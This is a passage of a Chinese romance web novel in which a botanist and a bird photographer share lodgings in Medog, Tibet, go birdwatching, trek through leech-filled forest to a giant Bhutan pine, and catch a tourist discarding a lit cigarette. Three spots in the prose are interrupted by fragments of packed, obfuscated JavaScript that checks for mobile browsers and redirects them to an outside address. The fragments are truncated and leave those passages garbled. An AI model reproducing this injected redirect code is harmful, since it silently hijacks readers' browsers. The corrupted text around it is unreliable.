付舟艰难地回忆了一下燕栖山的面容——这不是一件容易的事,对于他来说人脸远没有叶片形态有辨识度,然后给出一个很不要脸的评价:“不错,略比我逊色一些吧,他挺讨人喜欢。” 谢文远倒吸一口凉气! 付舟说:“你没病吧?我挂了!” 谢文远:“付舟,你还记得我俩刚考上大学,决定投身于学术事业的时候发过什么誓言吗!” 付舟:“不为……不为五斗米折腰?” 谢文远悲愤道:“你果然都忘了!怪不得成了富哥的小白脸!是……是宁折勿弯啊!宁折勿弯!” 什么乱七八糟的,付舟把他挂了。 付舟确实没有为五斗米折腰,但是当他看到富哥燕栖山的防水徒步鞋、速干登山服、头灯、带面罩的遮阳帽和卫星电话时,自觉腰身立刻变得比脱骨鸡爪还柔软无骨。 燕栖山把所有东西都准备了双份,全部拆出来放床上让付舟挑,付舟受宠若惊,差一点要因为刚刚谢文远的点拨而以为燕栖山对他别有所图。 燕栖山笑笑:“不用客气,原来给老章准备的,你们都比我有经验,应该先挑,就当我为后勤出力。”说罢递上另一件荧光红冲锋衣——和他那件荧光黄是同款。 付舟太阳穴神经直抽,想他俩到时候穿上走在森林里简直就是一红绿灯。 森林是绿灯行,他俩是红灯停和黄灯还要等一等。 大概是捕捉到他为难的表情,燕栖山又摸出两件迷彩色外套,解释说观鸟不能穿颜色太鲜艳的,他们进山穿这个。 “那这两件是?”付舟问,提溜着“番茄炒蛋”。 燕栖山认真道:“拍游客照,多巴胺色系好看又出片。” 除去审美略有问题外,付舟想不出燕栖山有什么缺点,倒霉那么多年,难道他终于盼来了自己的福报? 不应该啊,他寻思他是无神论者,最接近迷信的时候是伦敦皇家植物园突发虫害导致他的研究对象大面积死亡时问候了上天的十八辈祖宗。 上天是个抖M,被骂爽了给他送来一位“田螺先生”? 好景不长,紧接着他就发现了燕栖山的缺点——他有间歇性发作的洁癖。 他震撼地盯着帅哥从包里掏出清洁剂、除螨喷雾、沾灰尘的滚筒、一次性抹布和手套,脑子里唯一的想法是:这人怎么带这么多液体过的飞机安检? 好个哆啦A梦,那行李箱是四次元的吧。 燕栖山仿佛读懂了他的疑问,递过来一个口罩:“我刚到林芝就买了。” 趁着燕栖山开始上窜下跳地左擦右擦,连柜子顶上和床头后面都没有放过,付舟又开始骚扰谢文远: 【FUZHOU】和别人睡一张床什么感觉? 【专止小儿夜啼】第一,上一次我和别人睡一张床是小学二年级和我妈;第二,你为什么要问我这个问题? 【FUZHOU】家里没房间了,帮手没地方住。 【FUZHOU】我得和他睡。 【专止小儿夜啼】…… 【专止小儿夜啼】那啥,我还有事,先走一步。保护好自己。 介于谢文远并非正经人,付舟已经学会自动过滤聊天中他不理解的话,所以他把谢文远的消息当成了聊天结束信号。一回头发现燕栖山已经打扫完毕,正在整理今天拍的照片。 “付哥你先睡吧,我再简单写点日志传给编辑部就好。” 付舟背对着燕栖山躺下,对方轻轻敲击键盘的声音是非常好的白噪音,不一会儿付舟就有点发困了。这时他突然想起明天早上轮到他把那群藏香猪放出去,赶紧又摸手机过来定闹钟。 墨脱有一点不好,就是常常信号微弱,发不出去消息。 手机解锁,首先映入眼帘的是一个红色感叹号,敢情他那条消息根本没发出去,所以他和谢文远的聊天实际上是: 【专止小儿夜啼】首先,上一次我和别人睡一张床是小学二年级和我妈;第二,你为什么要问我这个问题? 【FUZHOU】我得和他睡。 【专止小儿夜啼】…… 付舟一下子清醒了,敢情谢文远要他保护的是下三路。 人一胡思乱想就容易睡不着,但付舟又不敢暴露他没有睡着的事实,所以在燕栖山窸窸窣窣地爬到他旁边的时候只能闭眼假寐,而燕栖山今天累得够呛,毫无心理负担,几乎是倒头就睡。 付舟有点睡眠障碍,睡不着就会躺在那里发汗心悸,往常这种时候他只能紧绷绷地躺个把小时才能精疲力尽地睡过去,今天也挺奇怪,不知道什么时候,他居然听着燕栖山舒缓的呼吸声睡着了。 一夜无梦。 藏式碉房是平顶建筑,所以严格意义上他住的地方并不算阁楼,而是三楼往上一点角落里隔出来的一小块。窗户很小,但采光还可以,大约八点多,燕栖山被明亮的阳光弄醒,发现身边已经没人,付舟那边床都凉了。 他叠好被子下楼,付舟正把受伤的腿翘在矮凳上吃早饭,见他来了赶紧把脚放下。 “你脚怎么样了?”燕栖山问。 付舟示意他自己去灶台上端一碗藏面吃:“能走能走,总算好把拐杖扔了,别太用劲就行。” 藏面用牦牛肉煮汤,高原小麦做面,口感筋道,肉香浓郁。付舟看燕栖山犹豫了一下,还是舀了一勺辣椒油加进去,尝尝,随即开始狼吞虎咽。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17513135|203091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 付舟问:“我们这里面碱味挺重的,挺多人吃不惯,你觉得还行吗?” 燕栖山抬起头,鼻尖上被辣出一层薄汗:“在家常吃碱水老馄饨,都好吃的。” “甜茶喝吗,我再煮点?”付舟要站起来。 燕栖山赶紧把他拦下:“不用不用,我不太喝茶的,喝咖啡就行。”说完立刻从他的四次元口袋里摸出一罐冻干咖啡。 付舟乐了:“你还特意带这个,挺有情调啊。” 燕栖山有点不好意思:“大学一周四天早八,天天喝,现在不喝不习惯。” 吃完早饭,他们借了格桑次仁的车,准备开到果果塘大拐弯去。 果果塘大拐弯位于村子和县城中间,开过去大约一个小时车程,付舟为尽地主之谊决定自己开车,好在他这几天已经复健左边驾驶。 从景区停车场走到观景台还要走一些路,沿路种满了芭蕉。 燕栖山突然停下来,抬头,四处张望,随后开始一点一点向右边的树丛靠近。 由远及近,付舟听到一阵婉转的鸟鸣。 燕栖山举起相机。 “活爹啊你往左边一点好不好好不好,哎对!乖宝宝乖宝宝……” 此人一看到鸟就会解锁一个诡异的变态模式。 景区的生态保护的挺好,层次丰富,付舟用手机大致记了一下他能辨认出的类别。燕栖山那边拍完,一脸兴奋:“是银耳相思鸟,国家二级保护动物呢!”他邀功似的给付舟看那只彩色小鸟。 “刚才的叫声有点像……画眉?”付舟不确定地问。 “付哥你耳朵好灵,就是画眉科的,”燕栖山已然忘乎所以,“墨脱真是个好地方,我到这里还没空军过。”要知道他在家旁边的小河上拍个夜鹭都能空军。 付舟看到他笑也高兴:“没你灵。” 果果塘大拐弯是雅鲁藏布江经过果果拉山峰时形成的一个一百八十度转弯,也许是高原的缘故,西藏的天空透明度很高,看着极为渺远,云气挂在空中像轻飘飘的水雾。拐弯处的江心有一座岛屿,上面开垦了梯田。 春天江水的颜色很特别,青中带绿,像画里的颜色。 “这不是千里江山图吗?”燕栖山感叹。 付舟看到梯田种有茶叶,群山上的原始森林里长满冷杉和不丹松。 风止云停,天地草木一同缄默。 脚踝抽痛着把付舟拉回现实,看来他对自己的伤势估计错误。 他回头正好对上燕栖山有些担忧的眼神。 “付哥,你脚没事吧?” 付舟还没来得及否认,燕栖山就把相机塞进保护套里又装进包,把双肩包背在前面,转过身宣布:“我背你!” 这未免过于殷勤,付舟想拒绝,但转念又想想德兴大桥上昨天雨水留下的泥泞,折中道:“你扶着我就好。” 燕栖山也意识到刚才的话不妥,忙伸出手来做他的拐杖。 很快付舟就后悔了——还不如被背,至少能看出来他是伤员,现在他俩互相搀扶的动作活像手挽着手去厕所的高中女生,经过几个游客的时候引来侧目和微笑。 可能是为了缓解尴尬,燕栖山问:“付哥,吃不吃糖?”说罢,从口袋里摸出两根棒棒糖,先给自己剥了一个,然后把第二个送到付舟嘴边。 想喂我?休想。 付舟用空着的手接过来塞嘴里,嗯,橙子味。 “果果塘叫这个名字就是因为形状像棒棒糖,你这还挺应景。”付舟咬着糖,含混不清地说。 青年没回答,忽然好专注地看他,看得付舟又想起刚见面的时候,只是这时候他们正走在桥上,后头绝对没有鸟。 燕栖山是浅瞳,被光一照眼睛是亮晶晶的琥珀色,付舟结巴着问:“怎么了?” 燕栖山说,语气很淡:“付哥,和我一起去拉萨吧。” 咔嚓! 他付哥一用力失手把棒棒糖咬碎,差点硌掉一颗牙。 5. 不丹松 “付哥,和我一起去拉萨吧。”燕栖山说。 付舟愣愣地看他,半晌口不择言道:“……你要和我私奔啊。” 他这句话是个调侃,本来期望着燕栖山再接句玩笑话,这个莫名其妙的话题就算揭过去了。 结果燕栖山压根没回复,扭开脸,欲言又止的,只见他背后的水色天光明朗。 难不成真是私奔啊? 等一下,私奔是用于情侣出逃的词汇吗?还是自己又记错了。 付舟刚想再问,却见燕栖山把脸别过去,捂住嘴——打了一个喷嚏,原来他刚刚脸色不对是因为鼻子痒,付舟感到一阵无语。 “你之前说你的行李在拉萨?要不要和我一起顺路回去取?”燕栖山说,“感觉‘和我去拉萨’有种很神奇的感觉,像电视剧一样。” 可能带一些异域特色的地名就是会给人这样的感觉,燕栖山想要是换成和我去上海就怪怪的。 付舟放下心来:“哦,你说这事儿,没问题,但是哪有把西藏人拐到拉萨去的。” 他俩聊着走回停车场,返程换成燕栖山开车,他开车的技术颇为惊险,一路上两个人愣是没说一句话。 燕栖山死死抓着方向盘,用力之大让人怀疑下一秒方向盘就要被他大卸八块,此人甚至最开始根本没把车发动起来,因为他忘了拉手刹。 付舟咽咽唾沫,想着说要不还是自己来开,看到燕栖山紧缩的眉头和额角的汗水决定还是闭上嘴。 燕摄影师一路死盯前方的路眼睛眨都不眨,付同学在副驾驶抓着安全带安静如鸡。 好在燕栖山虽然表现得像油门上绑了个炸弹,开车的效果还算稳当,两人有惊无险的回到村里。 “好久没开了?”付舟问。 燕栖山好不容易把车倒进他家那个窄小的车位,好险没刮掉一层漆,长舒一口气:“还是刚高考完学的,上海老堵车,平常我出门基本都是地铁和共享单车,再远就叫司机,不瞒你说我觉得开车还挺吓人的……真好啊,公共交通。” 付舟想起伦敦总也不准时的公交和不透风的地铁车厢——他那时候经常根据公交是否晚点来决定自己的晚饭,晚点自己做,准时出去吃顿好的,于是他喜提为期一个月的烹饪特训。 至于夏天在地铁上中暑的案例身边更是比比皆是,有言道:体面人不坐伦敦地铁。 英区规则怪谈之一:当你的公交晚点的时候,不要相信地铁,不要相信出租,只能相信自己的腿。 刚下车格桑次仁就过来招呼他们吃饭,和民宿里客人吃的一样,是些家常菜。 付舟一边吃一边听昨天晚上搬来那俩小姑娘讨论封路的事,看来她俩今天也没闲着,估计是跑到县城里问了,据说再过个两三天就能抢通。 付舟打趣道:“这样啊,那你过几天就能和我私奔去拉萨了。” 燕栖山刚夹一筷子韭菜炒牦牛肉,举在嘴边忘了吃,耳朵发红:“……付哥,还提这事啊?” 他声音很亮,说话有点南方人的前后鼻音不分,语调像撒娇。 ……我怎么把男人和撒娇联系到一起,付舟一阵恶寒。 燕栖山转头和那俩女孩聊天,他话多嘴甜、长得又赏心悦目,转眼和姑娘们聊得热火朝天。 俩姑娘没自我介绍,因此付舟将她俩以发型代称为双马尾和披肩发。披肩发那姑娘更活泼些,高兴地和燕栖山分享了她们是如何大学毕业决定来墨脱旅行,结果却被封在这里。 言语间略带焦急,不过更多的是亢奋,毕竟这也算是一种独特的人生体验。 “我听说有人还被封在隧道那里呢,得徒步到县里招待所,能住下来已经不错啦。”燕栖山宽慰她们。 “那是哈苏X2D吗?”一言不发的双马尾突然指着燕栖山的相机问,“听说一亿像素来着,好恐怖。” “嗯嗯,像素高方便我后期裁剪,你也搞摄影吗?”燕栖山问。 付舟暗暗咂舌,他不是很了解相机,平常工作记录基本是用公用的,唯一的要求是有微距镜头好拍一些植物构造,但他有同学用哈苏这个牌子。 带着小十万的相机来搞磕磕碰碰的野外摄影,燕栖山真是个钱没地方花的疯子。 双马尾说不敢当,只是之前参加过摄影社,披肩发想了想说:“帅哥,我们本来打算约个旅拍,但村里没有——你能帮我们拍几张吗,这么好的相机,价格你开。” 燕栖山表示用不着付钱,反正相机买来就是用来拍照的,趁着外头天还亮,可以赶紧拍了回来,不耽误时间。 付舟全程没有参与他们的对话,他本就不是个爱说话的人,而且他自觉也插不进去。 没劲。 他忽然想,随即又把这个念头撇开了,燕栖山和他自己也没认识多久,又何必在意他和谁聊天。 等一下,他为什么会因为燕栖山和别人聊天觉得没劲? 估计是因为自己的帮手被别人挖墙脚的不爽吧,毕竟他之前在学校就是出了名的“护食”,护文献,护样本,护作业……护一切。 “早点回来,明天还要进山。” 燕栖山已经跟着俩姑娘走到门口,闻言回过头冲他笑:“当然,给我留门啊。” 双马尾和披肩发面露兴奋,对视一眼小声尖叫。 她们这什么毛病?付舟大惑不解。 时间差不多了,付舟蹒跚到猪圈拉开栅栏门,打了个呼哨,远远地就看见那群藏香猪从山上奔袭而来。他赶紧闪到一边,避免再像刚到那天被猪创个跟头摔进泥地里,他年纪大了,再经不起这样的刺激。 藏香猪常年在野外放养,个个肌肉发达,横冲直撞的时候简直是一群野猪“黑皮体育生”。 猪群飞快地冲进猪圈,发出饱食后的哼哼,付舟把门拴好,溜达到隔壁民宿问那里的老板能不能联系上明天可以进山的向导。 他们村人少,多是中老年人,彼此之间极为熟悉,连付舟这个回来频率极低的格桑次仁的孙子都被牢牢记住,而在他爷爷罔顾他还没毕业这个事实的宣传下他已经变成年轻有为、留学海外的青年学者,因此常常被村里的大爷大妈们满脸慈祥地注视。 经营隔壁民宿的玉珍大姐芳龄四十三,她投资眼光好,前段时间赶上墨脱的旅游风头开民宿、后又搞农产品直播赚得盆满钵满,在村里属于手眼通天型的人物。 玉珍咔咔嗑瓜子,听付舟描述需求,一拍胸口:“包在姐身上!” 随后她莞尔一笑,问出村里人最喜欢问付舟的问题:“嘉措啊,找对象了没有?” 而付舟早有准备。 往年他通常会因为不习惯别人喊他的藏语名字愣住,再支支吾吾说不出话,这期间的空隙足够提问者露出了然的笑容再毛遂自荐要给他介绍对象,他的完美老家假期就会变成相亲局鸿门宴。 后来他学聪明了,坚定地宣称他有一个在英国的女朋友,同时附上一张随便找的欧美女生照片, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17513136|203091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接下来只用舌战群儒就行。 但这一套操作有一个致命的问题:就是他根本记不住上次选了哪位“女朋友”和具体胡编乱造的内容,况且如果一直是同一个人别人又难免要扯到谈婚论嫁的问题,所以他每次都得换一位“女朋友”再从头编起。 久而久之,村里开始流传格桑大爷的孙子哪哪儿都好,可惜换对象换得比谁都勤,虽然付舟风评受损,但是好歹止住了永无止境的相亲。 玉珍姐哪壶不开提哪壶,付舟微微一笑,摸出手机准备展示他准备好的照片——今年他与时俱进,用的是AI合成的,却被玉珍笑眯眯地挥手拒绝:“我知道你之前的对象都是假的,实话告诉姐……” 对不起,其实我根本没对象,付舟刚准备认错,只见玉珍继续道: “实话告诉姐,你是不是喜欢男人?” 付舟瞪大了眼,说不出话。 玉珍则把这当成了默认,语重心长地拍拍他的肩膀:“放心,姐见得多,理解,明白,我会慢慢说服你爷爷的。” 说着挥挥手作送客状:“英国嘛,我都懂的。” 不,你根本就不懂啊!这是刻板印象! 可玉珍姐是好心,付舟也不能在这里大声宣布他不是Gay,幸好他过两天就溜了,付舟只能尴尬地笑笑,转身落荒而逃。 他从后门回家,心里莫名泛起一点不易察觉的寂寥,窗户外面烧起连天的红霞,看来明天会是个好天。 燕栖山踩着夕阳的尾巴溜进房间,把照片导到电脑上。 晚霞下村里的主题邮局做背景,那俩姑娘站在前景笑靥如花,各捧一片墨脱特产的莲花叶,燕栖山刻意没用长焦镜头,以免他的老毛病发作又去锁后面的东西,好在墨脱空气透明度好,哈苏像素高,拍出来的美分毫毕现,即使没有什么特别的构图也是一张很出色的照片。 燕栖山对着照片抓耳挠腮一阵,他人物审美一般,实在不知道该怎么修,最终只把画幅裁小了一点,然后把照片用邮箱传给那俩姑娘。 付舟问:“你没加个联系方式?” 燕栖山确认对面收到之后,开始删照片:“微信压画质啊,再说只是萍水相逢,我举手之劳而已,没有必要加。” 付舟又问,他自觉这问题有点欠:“我俩也是萍水相逢,那你怎么不删我的照片?” 燕栖山删完照片,又开始忙着把今天的收获发给编辑部,似乎只是随口回了一句: “你不一样,付哥,我们俩有缘分。” 有缘分……吗? 直男说话果然很没分寸。 第二天一早,他俩全副武装,在林子边缘和玉珍姐找的向导碰头。 向导是一位叫扎西多吉的大哥,前几年和科学院前来科研的学者一起进过山,经验十分丰富。 他们今天的目标是一路走到墨脱的树王:一棵76.8米的不丹松附近考察。 燕栖山把帽子带的面罩扣上,付舟瞥见他耳朵上空空荡荡的。 “你的耳钉呢?” “是耳夹,没打耳洞,怕痛。”燕栖山大半张脸都在面罩后面,隐约露出眼睛,“带了万一掉在林子里不好。” “耳夹感觉上更痛?我之前带的时候耳朵被夹出血。” 上次带的场合是参加英国漫展玩cosplay这种事还是不说为妙。 “燕氏哲学之剧烈的短痛不如轻微的长痛。” 付舟笑了:“恕我不能苟同。” 6. 柳莺 扎西多吉普通话好,为人热情,对林子比他家还熟,两个人跟在他后面沿着小路钻进墨脱的原始丛林。 时间还早,空气里有一层薄薄的水汽,到处都弄得湿漉漉的,付舟隔着口罩呼吸的时候感觉都像含了一口水。小路潮湿泥泞,极易打滑,扎西多吉随口道前几天有人滑倒摔断腿,燕栖山感慨好在他买了登山杖。 付舟非常怀疑那个故事里摔断腿的主角就是他自己,因为这几天他没在村子里看到其他走路困难的人。 付舟走在最后面,忽然想起来什么,赶紧问燕栖山:“让你买的打火机,带了吗?” 燕栖山点头,随即正义凌然道:“付哥,虽然不知道你要干什么,但如果你在森林里放火,我肯定会立刻报警抓你的!” 这孩子,怎么还恶意揣测别人呢? 付舟好无语,要不是怕燕栖山摔倒真想给他一下:“你傻啊——这是烧蚂蝗用的!” 燕栖山懵懂地眨眨眼:“我听说蚂蝗直接用手贴着口器那里揪下来就行啊。” “小伙子,你说的那是理论方法,墨脱蚂蝗凶、咬的狠,硬拽可是会拽断的,容易感染,还不好止血。”扎西多吉听到他俩说话,回头笑道。 “我见得多了,上次一不知道哪里来的大老板,啧,那啤酒肚,被咬了脚踝够不着,他直接脱鞋下来狠劲儿抽,我说了也不管用,害,血是哗哗流啊,把小溪都染红了!”扎西多吉绘声绘色,唬得燕栖山赶紧翻包检查自己究竟带没带打火机,又赶紧弯下腰把裤脚扎紧了。 付舟算是发现了,这位扎西大哥向导当多了,口才在天南海北的游客队伍中得到充分锻炼,能把每件事都讲的耸人听闻。 走完人踩出的路,接下来的路更为凹凸不平,宽窄也时时变化,偶尔还有一些不知名动物的脚印,这样的便是森林里的兽道了。 他们倒不怕遇到野兽,墨脱的野生动物大多会避着人,时不时的鸟鸣揭示了唯一可见的动物,燕栖山脑袋上仿佛装的不是耳朵,而是两个雷达,他侧着脑袋,精准分辨出每只鸟的方位,紧接着就举起相机猛拍。 据他说是得益于长期春天潜伏在在江浙一带的树丛里拍摄乱窜的柳莺——这种喜爱活蹦乱跳的嫩绿小鸟的拍摄难度不亚于战场上的移动靶射击,柳莺也因此被观鸟佬称为“脏东西”。 付舟眼睛和耳朵都没他好,不太清楚他具体拍到了什么,不过看燕栖山快乐的眼神估计是收获颇丰。 付舟则有自己的事要忙,他早在拉萨买了软尺,正忙不迭地抽取幸运树木进行胸径测量,再大概目测一下高度记下来,俯下身去看贴地生长的植物的时候顺便摸排一下土壤情况,他标本工具不在身边,不过靠相机和手机记录也勉强能用。 这里生态系统的总体情况是令人满意的,墨脱胜在难行,虽然常有游客,但基本保持了原始风貌,就付舟观察,也没有什么入侵物种。 他俩下摸摸上看看,一个小时的路程硬是七绕八绕走了两个多小时,扎西多吉也不急,颇有些新奇地看他俩各司其职。经过一个路口的时候还指给他们看一棵铁杉上绑着的红外摄像机。 “青藏高原研究所的,放在这里拍野生动物,大概三个月来回收一次数据。” “有拍到什么吗?”燕栖山问。 扎西多吉嘿嘿一笑,付舟知道又到了吓人小故事环节,竖起耳朵。 果不其然,扎西多吉压低嗓音,帽檐遮住眼睛,看不清表情,忽然他抬手朝兽道边的一个模模糊糊的动物脚印一指: “脚趾着地脚跟抬起,直径超十厘米,梅花形!你们知道这是什么吗——”他故弄玄虚。 “老虎!”燕栖山兴奋道。 “老虎。”付舟敷衍道。 扎西多吉不说话了,用充满控诉的眼神质问他俩为什么破坏他的叙述效果。 “叔——”付舟想了一下出于安抚效果还是改了口,“哥,我就住这里,还能不知道野生动物情况吗?” 村子所在的雅鲁藏布江支流名叫金珠藏布,意为“龙形的眼睛河”,这个幽深的峡谷一直是我国西藏孟加拉虎的主要活动区,上世纪九十年代目击报告尤为丰富。 扎西多吉不满:“给个面子啦,你们应该假装被吓到好吗?上次我带的一个团直接吓得说要回去嘞。” 他又问燕栖山:“嘉措我不管,小伙子,你是怎么认出来的?” 燕栖山说:“大二的时候和朋友去珲春观鸟,当时什么也不懂就从小路进山了,走一半看到雪地上有和这个很像的脚印,最开始以为是豹猫?问了动物佬朋友才知道是东北虎,吓得我俩啥都没拍就跑了······现在想想豹猫的脚哪有那么大,那边老虎的活动区域离居住区还蛮近的。” 扎西多吉笑道:“咱们这里老虎少,几个月才能拍着一次,它闻着人的味道不会出来的。” 燕栖山若有所思地点点头,把手伸进围脖下抓抓脖子,突然僵住了。 他颤抖着把手抽出来,上面红彤彤的,燕栖山深吸一口气,之前冷静的模样荡然无存,说话都结巴了:“血···有血啊!” 付舟走上去一把掀掉他的帽子,青年漂亮的脖颈上果然有一只吸饱了血的蚂蝗。 “你别动。” 燕栖山立刻听话地站直了,僵硬的像一块直挺挺的木头。 付舟从自己包里翻出碘伏和纱布递给扎西多吉,再从燕栖山兜里翻出打火机,打着了火,凑近那只喝的圆滚滚的暗绿色且长有斑纹的柔软昆虫,他小心地烧蚂蝗的背部,控制着距离以免烧到燕栖山的脖子。 蚂蝗一被烧就硬了,皱缩起来像个炒熟的栗子,立刻松口从燕栖山脖子上滚下来,被付舟用另一只拿着纸巾的手一把捏住,满肚子血爆了一手。 蚂蝗的分泌物里有阻碍凝血的物质,燕栖山的伤口还在不住淌血,付舟接过碘伏给他抹上,最后利落地贴上纱布。 燕栖山还维持着一个双手举起的投降姿势,小心翼翼地问:“弄掉了吗?” 付舟被他这幅模样逗乐了:“没什么事,你别沾水就行,在墨脱你得习惯这个啊。” 付舟其实不是一个爱笑的人,燕栖山在第一次见他时看他那副惯常的冷淡的表情就意识到了,不过他俩待一起这几天付舟倒是常常笑,现在对方半张脸被面罩遮着,只露出浓黑的眉和活水似的眼,空气潮湿,燕栖山觉得那双笑的直颤的睫毛上凝了薄薄一层露水,也是湿漉漉的。 忙着嘲笑别人的付舟随即遭了报应,他脸色猛地一绿,撸起袖子,在大臂上发现了另一只顺着袖管爬上去的蚂蝗。 扎西多吉在旁边笑眯眯地看他们用相同的方法处理了这只,说:“城里来的年轻人就是细皮嫩肉,我们被咬得都没感觉啦!”说罢大大咧咧地往前走。 付舟懒得理他,紧随其后,然后一个踉跄差点被停下的扎西多吉绊倒。 “怎么了?” 扎西多吉慢慢地转过身,黝黑的脸上表情要哭不哭的,他一手护住裆,尴尬道:“我大腿上有一只!” 付舟沉默了。 蚂蝗对人体热量极其敏感,衣服间稍有一条缝隙就能爬进去,又难以察觉,往往吸饱血有重量了才容易被人发现。 正好沿路经过河谷,空间开阔,扎西多吉坐在河边石头上把长裤脱了开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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付舟在拿出望远镜观察枝干上附生的兰花,他今年来得有些早,墨脱的兰花季还没到,但有的已经生出细小的花苞,他听村里人说过兰花季来临时的盛况,一棵不丹松上能开十几种不同的兰花。 稀有兰花研究算是稀有植物研究这个冷门专业里较为热门的一个方向,付舟的师妹就是研究这个的,他准备借燕栖山的相机拍下来回去打包到他们课题组的群里。 燕栖山把相机递给他:“自动对焦的,你要放大的话摁这里的快门波轮。” 哈苏的缺点是机身棱角锋利,拿着硌手,加上镜头重量又逼近三公斤,付舟不经感慨燕栖山的脖子真是铁做的。他透过取景框看,兰花火炬状的花苞上细微的绒毛都很清晰。 好可惜,付舟想,我在没开花的时候不能完全辨别出来。 “好多兰花都是村民自己养了好多年再归野的。”扎西多吉冲树王双手合十。 付舟照做,燕栖山看见了也赶忙双手合十。 三个人静静地在树前站立片刻。 树王的影子温柔地笼罩下来,像怀抱着一个孩子。 返程他们选择了游客路线,这样走起来更快些,道路明显开阔,路边还时不时有指示牌和介绍。 燕栖山问:“树王叫‘辛布达’?是藏语吗?” 付舟说:“是门巴语,意思是‘神树’,墨脱这里还是门巴族比较多。” 正说着,前头突然走来三个游客,为首的男人鼻头通红,嘴唇肥厚,趾高气扬地仰着粗脖子,付舟让到一旁让他们先过,却见那男人一撇嘴,大声咳呛,往旁边吐了口唾沫。 好没素质,付舟皱眉。 接下来粗脖子居然掏出一根烟,当着所有人的面开始抽,没抽两口就“呸”一声,把还燃着的烟头往旁边丢。 这里可是林子里啊?! “喂你——”付舟摸出水壶,着急上前准备把烟头浇灭。 燕栖山快他一步,条件反射般伸手一捞—— 他为了拍照方便没带手套,竟然就那么把还烧着的烟头抓住了! 7. 虎头兰 在场所有人都愣住了,包括燕栖山自己。 他还握着那个烟头,感觉不到痛似的,空气里泛起轻微的皮肉烧焦的臭味。 付舟第一个反应过来,他有点粗暴地一把抓起燕栖山的手,喝道:“松手!”燕栖山很听话,松开拳头,灭了的烟头掉在地上,又被付舟狠狠踩了一脚防止复燃。 燕栖山手心已经被烫出一个血红肿胀的水泡,触目惊心,付舟看着都痛,他单手掀开水壶开始把凉水往伤口上浇,幸好他怕沉,没带保温杯。 这种程度的烫伤是非常痛的,可燕栖山硬是皱着眉一声不吭,在付舟浇完大半瓶水之后甚至准备把手抽走。 “不,要,动!”付舟声色俱厉,但不仅仅是冲燕栖山,而是冲那几个见状正准备开溜的游客。 “哎我说小兄弟,犯不着这样吧?不抽就不抽,用手接干吗?”粗脖子讪笑着。 付舟冲他们包两边放的矿泉水抬抬下巴,冷冷地命令道:“把水给我。” 粗脖子欺软怕硬,见付舟脸色难看,个子还比他高上一头,不情不愿地把水递过来。 付舟:“拧开。” “操,你别得寸进尺啊!”粗脖子眉头拧得像个肉瘤,“他自己非得上来抓,怪谁?” “叫你拧开你就拧开,哪里这么多废话。”付舟是有点眉压眼的长相,俊美的五官给人的第一感觉有点凶,发火的时候面色阴沉,风雨欲来。 “我来我来。”扎西多吉见这边剑拔弩张,赶紧把水拧开给付舟。 付舟把水往燕栖山另一只手里一塞:“自己冲,至少冲够五分钟。” 他又转向那粗脖子男人,指了一下旁边“放火烧山,牢底坐穿”的宣传牌:“你认字吗?” “那又怎样,老子抽烟关你屁事!这不没着呢吗!”粗脖子成功被他激怒了,上前一步,牛蛙般瞪起眼,无奈太矮只能很没气势地仰视付舟,“哈哈,有本事报警啊,能查出来那烟头是谁抽的算你赢呗。” 付舟一时语塞——他确实没有证据,但当然不能就这么算了,一个烟头是真的能烧光一个山头,这种例子不胜枚举。况且还有燕栖山的手,虽然这人不知道哪根筋搭错了用手抓,但归根结底是那男人的错。 粗脖子见他这样愈发嚣张地笑起来,他的两个旅伴面面相觑,后退一步,似乎想装作不认识这人。扎西多吉可能是怕他们文斗变成武斗,做出了一副即将劝架的姿态。 我看上去有那么崇尚暴力吗,付舟无奈。 “各位,先停一下。”燕栖山慢悠悠地说。 他声音很轻,伤口太痛,说话有些咬着牙,但一下吸引了所有人的注意,只见他已经把水浇完,把空瓶子给一旁的扎西多吉,然后有点费劲地从兜里拿出手机点开,将相册展示出来。 “我拍照了,劳您移驾公安局吧?” 画面上是付舟走在前面,正要回头看他,嘴角带笑,路两边茂密的树木严严实实地盖住了天空,缝隙里透出绿光,稍远一点的地方,那乱扔烟头的粗脖子正在朝这边走,照片很明显地拍出了他齿间的一点火星。 粗脖子哑口无言,转身想跑。 付舟一伸手揪住粗脖子的衣领,摁着对方的肩膀强迫他转身:“村子往那边,别走错了。”粗脖子挣扎了一下,发现付舟把他牢牢摁住了,他动弹不得。 回到村里,扎西多吉带着粗脖子去公安局,付舟则拖着燕栖山直奔诊所。 医生一见付舟进来正张口欲骂,见到他后头的燕栖山立刻一个变脸,满脸堆笑:“小帅哥,伤着哪里了?”付舟可悲地发觉由于之前不断受伤,他已经在医生这里失去了刷脸的优势。 医生开了抗菌药膏和烫伤膏,把燕栖山的伤口包扎了,叮嘱他这几天别动这只手。 付舟还是有点恼,他置气的方式朴实无华——他今天不想和燕栖山说话了。 于是,他们一个坐在桌子前把拍的植物生长状况的照片打包发课题组,一个正艰难地用一只手敲键盘,屋里一片让人窒息的死寂。 半晌,燕栖山先服了软:“付哥,帮帮忙嘛,能帮我打下稿子吗?” 付舟不是很想理他,但他看到燕栖山亮晶晶的眼睛就莫名其妙地动摇了,他叹口气,绕过床过来,接过燕栖山的电脑,说:“你口述吧。” 